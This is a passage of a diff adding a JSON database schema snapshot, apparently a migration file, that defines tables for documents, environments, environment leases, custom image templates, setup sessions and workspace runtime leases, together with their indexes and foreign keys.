+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "documents_company_updated_idx": {
+          "name": "documents_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "documents_company_created_idx": {
+          "name": "documents_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "documents_title_search_idx": {
+          "name": "documents_title_search_idx",
+          "columns": [
+            {
+              "expression": "title",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "documents_latest_body_search_idx": {
+          "name": "documents_latest_body_search_idx",
+          "columns": [
+            {
+              "expression": "latest_body",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "documents_company_id_companies_id_fk": {
+          "name": "documents_company_id_companies_id_fk",
+          "tableFrom": "documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "documents_created_by_agent_id_agents_id_fk": {
+          "name": "documents_created_by_agent_id_agents_id_fk",
+          "tableFrom": "documents",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "documents_updated_by_agent_id_agents_id_fk": {
+          "name": "documents_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "documents",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "documents_locked_by_agent_id_agents_id_fk": {
+          "name": "documents_locked_by_agent_id_agents_id_fk",
+          "tableFrom": "documents",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "locked_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.environment_custom_image_setup_sessions": {
+      "name": "environment_custom_image_setup_sessions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "environment_id": {
+          "name": "environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "template_id": {
+          "name": "template_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "promoted_template_id": {
+          "name": "promoted_template_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_lease_id": {
+          "name": "provider_lease_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "environment_lease_id": {
+          "name": "environment_lease_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'starting'"
+        },
+        "started_by_user_id": {
+          "name": "started_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_by_agent_id": {
+          "name": "started_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "base_template_ref": {
+          "name": "base_template_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_summary": {
+          "name": "connection_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_secret_ref": {
+          "name": "connection_secret_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "environment_custom_image_setup_sessions_environment_status_idx": {
+          "name": "environment_custom_image_setup_sessions_environment_status_idx",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_setup_sessions_environment_active_uq": {
+          "name": "environment_custom_image_setup_sessions_environment_active_uq",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"environment_custom_image_setup_sessions\".\"status\" IN ('starting', 'waiting_for_user', 'capturing')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_setup_sessions_template_idx": {
+          "name": "environment_custom_image_setup_sessions_template_idx",
+          "columns": [
+            {
+              "expression": "template_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_setup_sessions_promoted_template_idx": {
+          "name": "environment_custom_image_setup_sessions_promoted_template_idx",
+          "columns": [
+            {
+              "expression": "promoted_template_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_setup_sessions_expires_idx": {
+          "name": "environment_custom_image_setup_sessions_expires_idx",
+          "columns": [
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_setup_sessions_provider_lease_idx": {
+          "name": "environment_custom_image_setup_sessions_provider_lease_idx",
+          "columns": [
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_lease_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "environment_custom_image_setup_sessions_environment_id_environments_id_fk": {
+          "name": "environment_custom_image_setup_sessions_environment_id_environments_id_fk",
+          "tableFrom": "environment_custom_image_setup_sessions",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_setup_sessions_template_id_environment_custom_image_templates_id_fk": {
+          "name": "environment_custom_image_setup_sessions_template_id_environment_custom_image_templates_id_fk",
+          "tableFrom": "environment_custom_image_setup_sessions",
+          "tableTo": "environment_custom_image_templates",
+          "columnsFrom": [
+            "template_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_setup_sessions_promoted_template_id_environment_custom_image_templates_id_fk": {
+          "name": "environment_custom_image_setup_sessions_promoted_template_id_environment_custom_image_templates_id_fk",
+          "tableFrom": "environment_custom_image_setup_sessions",
+          "tableTo": "environment_custom_image_templates",
+          "columnsFrom": [
+            "promoted_template_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_setup_sessions_environment_lease_id_environment_leases_id_fk": {
+          "name": "environment_custom_image_setup_sessions_environment_lease_id_environment_leases_id_fk",
+          "tableFrom": "environment_custom_image_setup_sessions",
+          "tableTo": "environment_leases",
+          "columnsFrom": [
+            "environment_lease_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_setup_sessions_started_by_agent_id_agents_id_fk": {
+          "name": "environment_custom_image_setup_sessions_started_by_agent_id_agents_id_fk",
+          "tableFrom": "environment_custom_image_setup_sessions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "started_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.environment_custom_image_templates": {
+      "name": "environment_custom_image_templates",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "environment_id": {
+          "name": "environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "template_kind": {
+          "name": "template_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "template_ref": {
+          "name": "template_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_template_ref": {
+          "name": "source_template_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_environment_config_fingerprint": {
+          "name": "source_environment_config_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "captured_at": {
+          "name": "captured_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "superseded_by_template_id": {
+          "name": "superseded_by_template_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "environment_custom_image_templates_environment_status_idx": {
+          "name": "environment_custom_image_templates_environment_status_idx",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_templates_environment_provider_status_idx": {
+          "name": "environment_custom_image_templates_environment_provider_status_idx",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_templates_environment_active_uq": {
+          "name": "environment_custom_image_templates_environment_active_uq",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"environment_custom_image_templates\".\"status\" = 'active'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_templates_superseded_by_idx": {
+          "name": "environment_custom_image_templates_superseded_by_idx",
+          "columns": [
+            {
+              "expression": "superseded_by_template_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_templates_last_used_idx": {
+          "name": "environment_custom_image_templates_last_used_idx",
+          "columns": [
+            {
+              "expression": "last_used_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "environment_custom_image_templates_environment_id_environments_id_fk": {
+          "name": "environment_custom_image_templates_environment_id_environments_id_fk",
+          "tableFrom": "environment_custom_image_templates",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_templates_created_by_agent_id_agents_id_fk": {
+          "name": "environment_custom_image_templates_created_by_agent_id_agents_id_fk",
+          "tableFrom": "environment_custom_image_templates",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_templates_superseded_by_template_id_environment_custom_image_templates_id_fk": {
+          "name": "environment_custom_image_templates_superseded_by_template_id_environment_custom_image_templates_id_fk",
+          "tableFrom": "environment_custom_image_templates",
+          "tableTo": "environment_custom_image_templates",
+          "columnsFrom": [
+            "superseded_by_template_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.environment_leases": {
+      "name": "environment_leases",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "environment_id": {
+          "name": "environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "heartbeat_run_id": {
+          "name": "heartbeat_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "lease_policy": {
+          "name": "lease_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'ephemeral'"
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_lease_id": {
+          "name": "provider_lease_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "acquired_at": {
+          "name": "acquired_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_at": {
+          "name": "released_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cleanup_status": {
+          "name": "cleanup_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "environment_leases_company_environment_status_idx": {
+          "name": "environment_leases_company_environment_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_leases_company_execution_workspace_idx": {
+          "name": "environment_leases_company_execution_workspace_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_leases_company_issue_idx": {
+          "name": "environment_leases_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_leases_heartbeat_run_idx": {
+          "name": "environment_leases_heartbeat_run_idx",
+          "columns": [
+            {
+              "expression": "heartbeat_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_leases_company_last_used_idx": {
+          "name": "environment_leases_company_last_used_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "last_used_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_leases_provider_lease_idx": {
+          "name": "environment_leases_provider_lease_idx",
+          "columns": [
+            {
+              "expression": "provider_lease_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "environment_leases_company_id_companies_id_fk": {
+          "name": "environment_leases_company_id_companies_id_fk",
+          "tableFrom": "environment_leases",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "environment_leases_environment_id_environments_id_fk": {
+          "name": "environment_leases_environment_id_environments_id_fk",
+          "tableFrom": "environment_leases",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_leases_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "environment_leases_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "environment_leases",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_leases_issue_id_issues_id_fk": {
+          "name": "environment_leases_issue_id_issues_id_fk",
+          "tableFrom": "environment_leases",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_leases_heartbeat_run_id_heartbeat_runs_id_fk": {
+          "name": "environment_leases_heartbeat_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "environment_leases",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "heartbeat_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.environments": {
+      "name": "environments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "driver": {
+          "name": "driver",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "config": {
+          "name": "config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "env_vars": {
+          "name": "env_vars",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "environments_status_idx": {
+          "name": "environments_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environments_local_driver_idx": {
+          "name": "environments_local_driver_idx",
+          "columns": [
+            {
+              "expression": "driver",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"environments\".\"driver\" = 'local'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environments_managed_sandbox_idx": {
+          "name": "environments_managed_sandbox_idx",
+          "columns": [
+            {
+              "expression": "driver",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"environments\".\"driver\" = 'sandbox' AND (\"environments\".\"metadata\" ->> 'managedByPaperclip')::boolean = true",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environments_name_idx": {
+          "name": "environments_name_idx",
+          "columns": [
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.execution_workspace_runtime_leases": {
+      "name": "execution_workspace_runtime_leases",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "owner_key": {
+          "name": "owner_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "owner_issue_id": {
+          "name": "owner_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_run_id": {
+          "name": "owner_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_action": {
+          "name": "last_action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "claimed_at": {
+          "name": "claimed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "renewed_at": {
+          "name": "renewed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "execution_workspace_runtime_leases_company_workspace_idx": {
+          "name": "execution_workspace_runtime_leases_company_workspace_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspace_runtime_leases_company_owner_idx": {
+          "name": "execution_workspace_runtime_leases_company_owner_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspace_runtime_leases_expires_at_idx": {
+          "name": "execution_workspace_runtime_leases_expires_at_idx",
+          "columns": [
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "execution_workspace_runtime_leases_company_id_companies_id_fk": {
+          "name": "execution_workspace_runtime_leases_company_id_companies_id_fk",
+          "tableFrom": "execution_workspace_runtime_leases",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "execution_workspace_runtime_leases_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "execution_workspace_runtime_leases_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "execution_workspace_runtime_leases",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "execution_workspace_runtime_leases_owner_issue_id_issues_id_fk": {
+          "name": "execution_workspace_runtime_leases_owner_issue_id_issues_id_fk",
+          "tableFrom": "execution_workspace_runtime_leases",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "owner_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "execution_workspace_runtime_leases_owner_run_id_heartbeat_runs_id_fk": {
+          "name": "execution_workspace_runtime_leases_owner_run_id_heartbeat_runs_id_fk",
